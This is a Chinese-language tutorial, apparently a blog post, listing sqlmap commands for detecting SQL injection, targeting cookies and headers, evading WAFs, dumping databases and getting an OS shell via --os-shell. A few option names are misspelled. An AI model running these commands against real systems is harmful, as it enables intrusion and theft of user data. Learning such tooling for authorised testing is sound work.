Sqlmap命令详解

目录

1.基础检测

2.精准指定注入点

3.数据库信息提取

4.进阶使用

5.关键参数说明


Sqlmap是一款开源的自动化SQL注入工具,支持多种数据库(MySQL、Oracle、SQL Server、PostgreSQL),能检测并利用SQL注入漏洞,提取数据库信息,获取系统权限等。

1.基础检测

基础用法是指定目标 url 进行SQL注入检测

基础检测:检测指定 url 是否存在SQL注入

sqlmap -u "http://test.com/test.php?id=1"

-u / --url:指定目标 url 必须包含注入点,如 id=1

2.精准指定注入点

当 url 有多个参数,或注入点不在 url 中时,需精准指定

指定单个参数检测(如仅检测id参数)

sqlmap -u "http://test.com/test.php?id=1\&user=admin" -p "id"

POST请求检测(需指定数据体)

sqlmap -u "http://test.com/test.php" --data "user=admin&pass=123"

方法2:抓取post数据包,将数据包保存到文件 txt 中,-r指定数据文件

sqlmap -r target.txt

注入点为username,打上 *****代表指定sqlmap以此为注入点

Cookie注入检测(注入点在Cookie中,需登录后才能访问)

若不确定哪个Cookie字段有注入,可省略 -p**,**salmap会自动检测所有Cookie字段

**;**分隔多个字段,分号后加空格,否则sqlmap无法解析

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" -p "UID" --level 3

若Cookie内容较长,可写入文件 txt,通过**--cookie-file** 读取

sqlmap -u "http://test.com/test.php" --cookie-file "test.txt" -p "UID" --level 3

Cookie注入常需绕过WAF,可搭配 --tamper、--random-agent

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" -p "UID" --tamper --random-agent --level 3

HTTP头部注入(User-Agent/Referer)

sqlmap -u "http://test.com/test.php" --user-agent "Mozilla/5.0.." -p "user-agent" --level 3

sqlmap -u "http://test.com/test.php" --reffer "http://test2.com/123" -p" referer" --level 3

sqlmap -u "http://test.com/test.php" --headers "Reffer: http://test2.com/123" -p "referer" --level 3

结合登录状态(若目标页面需登录验证,需要同时携带Cookie)

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" --user-agent "Mozilla/5.0.." -p "user-agent" --level 3

sqlmap -u "http://test.com/test.php" --cookie "SESSID=abc123; UID=1" --referer "http://test2.com/" -p "referer" --level 3

3.数据库信息提取

获取所有数据库

sqlmap -u "http://test.com/test.php" --dbs

获取指定数据库的所有表

sqlmap -u "http://test.com/test.php" -D testdb --tables

获取指定表的所有字段

sqlmap -u "http://test.com/test.php" -D testdb -T users --columns

获取指定字段的详细数据

sqlmap -u "http://test.com/test.php" -D testdb -T users -C address,email,phone --dump

导出整个数据库

sqlmap -u "http://test.com/test.php" -D testdb --dump-all

4.进阶使用

指定数据库类型

sqlmap -u "http://test.com/test.php?id=1" --dbms "MySQL"

批量检测(从文件读取目标 url,target.txt一行一个 url)

sqlmap -m "targets.txt"

自定义执行SQL语句

sqlmap -u "http://test.com/test.php?id=1" --sql-query "SELECT * FROM users LIMIT 10"

绕过WAF/防火墙(使用随机代理、延迟、混淆)

sqlmap -u "http://test.com/test.php?id=1" --random-agent

获取系统 shell( 高权限)

sqlmap -u "http://test.com/test.php?id=1" --os-shell

5.关键参数说明

|-----------------------------|-------------------------------------------------------------------------------------|
| 参数 | 作用 |
| -p "user-agent" | 明确指定注入点为 User-Agent 头部(必须小写) |
| --user-agent "xxx" | 自定义User-Agent内容,模拟真是浏览器,避免被WAF拦截 |
| --random-agent | 随机使用真实浏览器 User-Agent,绕过 WAF 对固定 UA 的拦截 |
| --proxy http:127.0.0.1:8080 | 使用代理(抓包 / 隐藏 IP) |
| --batch | 自动回答所有交互式问题,无需手动输入 y/n(无人值守) |
| -v 3 | 显示详细检测日志(0-6,3常用) |
| --risk 3 | 风险级别(1-3,3可能触发数据篡改) |
| --level 3 | 检测级别(1-5,默认 level1 仅检测 url 参数,level2 检测 POST参数,level3+ 检测 Cookie/HTTP 头部,级别越高检测越全面) |

相关推荐
其实防守也摸鱼15 小时前
告别单个变量,用列表和字典批量管理你的 Python 数据
开发语言·网络·软件测试·python·web安全·数据结构,编程教程
路baby17 小时前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯
鹿鸣天涯19 小时前
网规第三版:第9章网络安全部署案例
网络·安全·web安全·软考·网络规划设计师
深邃-19 小时前
【Web安全】-10-网站关键信息收集:目录扫描的概念,工具目录扫描(内含御剑,FindSomething安装链接),网站服务器收集,操作系统判断
运维·服务器·安全·web安全·http·网络安全
Bruce_Liuxiaowei1 天前
2026年5月第5周网络安全形势周报
人工智能·安全·web安全·ai·智能体
不灭锦鲤2 天前
网络安全第113天
安全·web安全
Dest1ny-安全2 天前
2026最新CTF知识库:12大Web漏洞深度文章+1156篇历年大赛WP+50+脚本+Payload速查 +AI/RAG离线在线知识库
java·学习·安全·web安全·servlet
顾凌陵2 天前
文件上传漏洞进阶实战
安全·web安全
宋浮檀s2 天前
应急响应——Web高危漏洞应急(SQL注入+XSS跨站+文件上传)
前端·网络·安全·web安全·xss
信息安全失业大专人员2 天前
HTTP/HTTPS 协议精髓与 WAF(Web 应用防火墙)架构防线大底座
web安全·http·信息安全·https·企业信息安全